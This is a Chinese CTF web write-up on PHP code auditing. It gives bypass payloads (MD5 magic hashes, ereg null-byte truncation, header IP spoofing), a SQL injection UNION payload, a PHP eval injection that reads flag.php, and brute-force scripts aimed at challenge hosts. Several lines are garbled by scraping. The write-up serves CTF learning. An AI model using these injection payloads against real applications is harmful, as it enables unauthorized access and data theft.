1. 程式人生 > >CTF-web 第三部分 程式碼審計

CTF-web 第三部分 程式碼審計

http://www.mxcz.net/tools/rot13.aspx rot-13加密解密
http://www.zjslove.com/3.decode/ 凱撒 當鋪 倒敘 維吉尼亞密碼

實際上就是閱讀有關的校驗程式碼,人為構造特殊的輸入或者引數才能拿到flag。需要了解一般的變數命名,判斷語句和常用函式等,對於函式的執行流程還是很容易理解的,程式設計的關鍵點如下:
一些基本的語法含義

php程式設計中變數$var 字串"ascd" 函式function fname($引數) 獲取http提交資料$_GET('欄位名')

定義陣列$a = array('value1'=>'value2'); 訪問$a['value1']得到值value2
$_REPUEST 是接收了$_GET,$_POST,$_COOKIE 三個的集合,獲取其中資料段。 使用方式$requset['欄位名'])

在magic_quotes_gpc = On的情況下,如果輸入的資料有單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字元)等字元都會被加上反斜線。stripcslashes函式刪除由 addcslashes函式新增的反斜槓。

設定cookie  setcookie('username','zhaoyun', time()+60);

獲取cookie  $_COOKIE['username'];

本地環境搭建,使用phpstudy-》其它選項-》站點域名管理 可以觀察網站名,根目錄等 為了訪問本地站點,需要修改host,將網站域名加入到本地127.0.0.1。有些時候我們需要下載的網站或者網頁就需要到這裡進行使用。

例子:

 (1)$_GET('username')!=$_GET('password') md5($_GET('username'))===md5($_GET('password'))
 輸入賬戶密碼不相等 但MD5加密需要相等 可構造payload為?username=QNKCDZO&password=240610708;
 但是此處為=== 所以構造的payload為                    
 ?
username[]=1&password[]=a,這是利用了陣列的一些特性。陣列的MD5null
2ereg("^[a-zA-Z0-9]+$",$_GET('password')) && strpos($_GET('password','--')!==false
密碼必須僅為0-9A-Za-z 並且還必須包含‘--’
這裡利用ereg比較陣列和字串會返回-1 而strpos會返回null 構造?password[]=或者利用ereg的%00截斷 
構造輸入為 password=1%00-- 即可繞過

(3)變數name和變數password不等,但是經過sha1()函式後相等還是陣列處理會報錯 可以構造payloadname[]=1&password[]=2

(4)md5加密相等繞過
QNKCDZO與240610708經過md5加密後相等

5$one=ord('1')--$nine=ord('9'); 
    $number=3735929054; 
    輸入temp
   for($i=0;$i<len($number);$i++) 
       $digital=ord($temp[$i])
       
   digital不能在19之間 並且number還得等於temp
   所以將3735929054的十六進位制賦給password便可。
   構造的payload為?password=0xdeadc0de

(6)只包含數字 並且

  strlen($_GET(['password']))<8&&$_GET(['password'])>999999 並必須包含‘-’
  ereg正則%00截斷 構造科學技術法表示 ?password=1e9%00*-*

(7)僅為正則匹配數字,並且包含‘#biubiubiu’
直接構造payload為?ctf[]= 或者是?ctf=1%00%23biubiubiu get是需要編碼的%23就是#

(8)貌似有點難 http://ctf5.shiyanbar.com/phpaudit/

$GetIPs = GetIP();//獲取http頭的ip 包括HTTP_X_FORWARDED_FOR,REMOTE_ADDR HTTP_CLIENT_IP
 if ($GetIPs=="1.1.1.1")
        {
      echo "Great! Key is *********";
 }
 else{
      echo "錯誤!你的IP不在訪問列表之內!";
 }

使用火狐外掛X-Forwarded-For把ip地址改為1.1.1.1,得到flag

(9)PHP大法 http://ctf5.shiyanbar.com/DUTCTF/index.php
登入提示訪問index.php.txt 訪問得到原始碼
if(eregi(“hackerDJ”,$_GET[id])) 報錯 G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode( _GET[id]); if($_GET[id] == “hackerDJ”) 顯示flag
(字串比對,ereg() 有區分大小寫,eregi()本函式與大小寫無關) 有id等於hackerDJ,但是限制包含hackerDJ。注意urldecode解碼。
由於url本身會解碼一次,再加上程式解碼後為hackerDJ,所以需要加密兩次:%68%61%63%6b%65%72%44%4a,再次編碼得到%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61。

(10)程式邏輯問題 http://ctf5.shiyanbar.com/web/5/index.php

 post提交user,原始碼中存在index.txt,原始碼關鍵為: 
        if($_POST[user] && $_POST[pass]) 存在 
            $user = $_POST[user];
            $pass = md5($_POST[pass]); //對傳入的pass變數進行md5加密,並賦給變數pass
 查詢語句$sql = "select pw from php where user='$user'"; //這裡是有‘’的 也就是說提交的資料不用字串型別

將查詢結果存放在 q u e r y M Y S Q L A S S O C query中,並按照MYSQL_ASSOC格式傳遞給 row

if (($row[pw]) && (!strcasecmp($pass, $row[pw])))

要求使用者名稱查詢到的使用者密碼,與MD5(提交的pass)一樣就可以通過,當然要求資料庫查詢得有返回值(這裡就是sql注入的技術了,自定義資料庫查詢返回值)

 提交資料: user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin //%23是#的%編碼 用於註釋

(11)加密演算法進行解密 http://ctf5.shiyanbar.com/web/web200.jpg或https://images2017.cnblogs.com/blog/1242616/201712/1242616-20171222225414943-1627996700.png
程式設計如下,線上執行可得到原字串:

   <?php
  function decode($string){
  $r='';
  $str=base64_decode(strrev(str_rot13($string)));
  $str=strrev($str);
  for($_i=0;$_i<strlen($str);$_i++){
      $c=substr($str,$_i,1);
      $d=ord($c)-1;
      $c=chr($d);
      $r=$r.$c;      
  }
  return $r;
  }

  $start="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
  $r=decode($start);
  echo $r;
   ?>

(12)說是爆破,實際上是技巧 ichunqiu MiscWeb題目名稱:爆破-1

<?php
    
  include "flag.php";
    
  $a = @$_REQUEST['hello'];
  if(!preg_match('/^\w*$/',$a )){
    die('ERROR');
  }
  eval("var_dump($$a);");
  show_source(__FILE__);
  ?>

通過題目可以知道hello變數一定是6位,程式碼表面的意思是$a=獲取提交的hello變數,這裡有一個要點:變數值可以當做另一個變數的名字進行引用 $ a a可以表示名字為 a的變數
PHP一個比較有意思的變數!$GLOBALS:一個包含了全部變數的全域性組合陣列,變數的名字就是陣列的鍵。構造載荷/?hello=GLOBALS得到結果

(13)php程式碼的eval注入 ichunqiu MiscWeb 名稱:爆破-2

  <?php
     include "flag.php";
     $a = @$_REQUEST['hello'];
     eval( "var_dump($a);");
     show_source(__FILE__);
     ?>

//單引號和雙引號的區別。單引號告訴shell忽略所有特殊字元,而雙引號忽略大多數,但不包括$、\、,Tab鍵的上方、1鍵的左方的反引號可以將輸入定位在``中(定義輸出位置)

上一題的方法已經不好用,我們這裡嘗試利用eval注入。已知根目錄下有flag.php 直接輸出,構造引數 /?hello=$a);print_r(file("./flag.php")); //

(14)這次真的是爆破 ichunqiu MiscWeb 名稱:爆破-3

         $_SESSION['whoami'] = 'ea'; $value = $_REQUEST['value'];  
         if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){             //提交的value前兩個與whoami變數相等,並且6-9位的MD5為0
            $_SESSION['nums']++;
            $_SESSION['whoami'] = $str_rands; //whoami更換 $str_rand為兩位的字母[a-z]
            echo $str_rands;
         } 

//每次nums++後whoami變數更換字元,需要再次進行爆破value值.程式碼如下:

import hashlib
import random
import requests
# MD5截斷數值已知
# 變數值有一定要求
# 求原始資料

# 本題 限制120s 爆破10次以上 變數固定前兩個字元,MD5截斷為固定值


def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest()


# substr(md5($value),5,4)==0)
def findbest(s):
    for i in range(1000000):
        str = s + random.choice(guess)
        str = str + random.choice(guess)
        str = str + random.choice(guess)
        str = str + random.choice(guess)
        str = str + random.choice(guess)
        str = str + random.choice(guess)
        if (md5(str))[5:9] == "0000":
            print(str)
            return str

# 訪問並擷取新的關鍵字
def url_open(keystr, url, session):
    payload= "value="+keystr
    respon = a.get(url + payload).text
    print(respon[0:2])
    return respon[0:2], len(respon), respon

# 初始連線 字符集
urllink = "http://aa153e3db8114f409fa459050284db8920827b2ffaa34944.game.ichunqiu.com/?"
# guess = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
guess = "abcdefghijklmnopqrstuvwxyz"
a = requests.session()


# 初始key關鍵字
keyfirst = 'ea'
# 普通返回長度
normallen = 0

for i in range(1, 100):
    # 尋找滿足條件的字串
    keystr = findbest(keyfirst)

    # 請求獲取新的key關鍵字 記錄普通長度 比對flag長度
    keyfirst,length, res = url_open(keystr, urllink, a)
    if i == 1:
        normallen =length
    else:
        if normallen < length:
            print(res)
            break

(15) 9 十月場 ichunqiu Web題目名稱:Login
開啟頁面是一個登入框 經過多個的測試 發現無注入。。。都是提示error
檢視原始碼提示test1 test1登陸後顯示顏文字(╯‵□′)╯︵┻━┻ 並沒有什麼內容 抓包發現返回欄位中存在show=1,請求中新增show=1 ,得到一部分原始碼

 if(isset($requset['token']))
          //測試變數是否已經配置。若變數已存在則返回 true 值。其它情形返回 false 值。
       {
           $login = unse+rialize(gzuncompress(base64_decode($requset['token'])));
           //gzuncompress:進行字串壓縮
           //unserialize: 將已序列化的字串還原回 PHP 的值,鍵值對形式
 
           $db = new db();
           $row = $db->select('user=''.mysql_real_escape_string($login['user']).''');
           //mysql_real_escape_string() 函式轉義 獲取login變數中user鍵的數值
 
          if($login['user'] === 'ichunqiu') //等於ichunqiu時得到flag
           {
            echo $flag;
           }
      }

進行逆向工作,將鍵值對’user’=>'ichunqiu’先unserialize,再gzcompress,然後base64_encode得到token值
程式碼如下:

 <?php
  $a = array('user'=>'ichunqiu');
  $b = base64_encode(gzcompress(serialize($a)));
  echo $b
  ?>
  --》 eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA== 將其加入到cookie的token欄位中。

再次請求得到flag{79d259e9-e80e-4693-8cbf-97588eb0643d}
(16)js ichunqiu Web 名稱:象棋 50分
這是一個HTML5象棋,檢視原始碼可以發現:下面有多個呼叫的外部js指令碼 有一個很奇怪的 採用匹配的方式,我們寫指令碼爆破

2個[abcmlyx]中的字母 + ctf + 3個[0-9]的數字 + .js 配合url進行訪問,如果不是404則成功,為了加速 我們使用多執行緒程式設計。

#!/usr/bin/python
# coding=utf-8
# 用於在檔案或者網址匹配中,有部分是已知的 部分是匹配的未知的 爆破方案
import requests
from multiprocessing.dummy import Pool as ThreadPool


def url_list():
    for i in re1:
        for j in re1:
            for k in re2:
                for l in re2:
                    for m in re2:
                        urllist.append(url+i+j+'ctf'+k+l+m+'.js')  # url是路徑  後面是搭配的格式
    return urllist


def url_open(url):
    result = requests.get(url)
    if result.status_code != 404:
        print(result.content.decode('utf-8'))


urllist = []  #地址列表
re1 = 'myx'  # 匹配格式1 
re2 = '012346789'  # 匹配格式2
url = 'http://b2c4a37e8a5d4e7e828a863179b388f5d2186fbb504e4cd2.game.ichunqiu.com/js/'  #網址
urllist = url_list()  # 獲取所有的可能

pool = ThreadPool()  #多執行緒開始運作
pool.map(url_open, urllist)  # 函式名字 引數列表
pool.close()
pool.join()

(17)“百度杯”2017年春秋歡樂賽 Web 名稱:攻擊 50分
提示:每個ip只有一次機會。 進入之後就是原始碼,給的重要的訊息如下:
if ( P O S T [ s u b s t r ( _POST[substr( flag,5,3)]==‘attack’){
echo $flag; #每一次成功提交之後ip都會被加入禁止列表 需要重新設定ip

含義:由flag中的6-8的三個字元組成的變數名,在POST的變數中存在該變數,並且它的值為’attack’,我們需要使用指令碼爆破。直接提交所有可能的組合,因為每個ip只有一個機會。

proxies不行, X-Forwarded-For也不能用樣子。。不管怎麼樣程式碼就這樣吧

import requests

a = "1234567890"
data = {}
for i in a:
    for j in a:
        for k in a:
            data[i + j + k] = "attack"  # 定義鍵值對
header = {' X-Forwarded-For': '126.32.3.3'}
proxies = {"http": "123.123.123.123:80"}
print(data)
r = requests.post("http://b0813d96be5e4f81b9a6121e44c9985afc11f1e8c89b4642.game.ichunqiu.com", data=data)
print(r.text)

(18)jsfuck加密 2017第二屆廣東省強網杯線上賽 Web 名稱:broken 50分
開啟之後是一個jsfuck加密的內容,但是發現並不能執行,發現時損壞的,上網隨意測試幾個別的加密,修復程式碼頭。發現是一開始的一個字元後少了一個“]“。結果彈出"flag is not here"。

測試即找不到重定位,也找不到別的網頁,嘗試加密alert("flag is hot here "),翻譯過後有5903個字元,而網頁給我們的字元有95484個字元,說明資訊在裡面還有別的。

看到有個翻譯規則是:eval => [][“filter”]“constructor”() 。而我拿到的字串也符合這個格式。所以我猜測flag在CODE部分。

為了驗證我的思路,我把拿到的jsfuck程式碼扔到編輯器中,找到[“filter”]部分,扣出[ ]中間的程式碼放到控制檯中執行,得出來的結果是:“filter”。同理,我再摳出[“constructor”]中間的內容,結果是Array [ “constructor” ]。好了,把這兩部分的內容刪掉,再刪去最後的兩個小括號,剩下的就是CODE程式碼。然後放到控制檯中執行
結果得出:“var flag=“flag{***********}”;alert(‘flag is not here’);”

(19)2016全國大學生資訊保安競賽-破譯 150
給出的是很多的字母的加密資訊,初步認定為凱撒加密,很明顯最後一個就是flag的格式,經過多個位移測試,找到最後為 f8ag {gs182d9hct9abc5d}的。

看出仍舊是發生了替換的編碼方式,因此我們觀察程式碼的規律,將替換的方法得到,最後得到了flag。其中有兩段的英文還是比較容易認出來的,寫個指令碼替換一下就可以。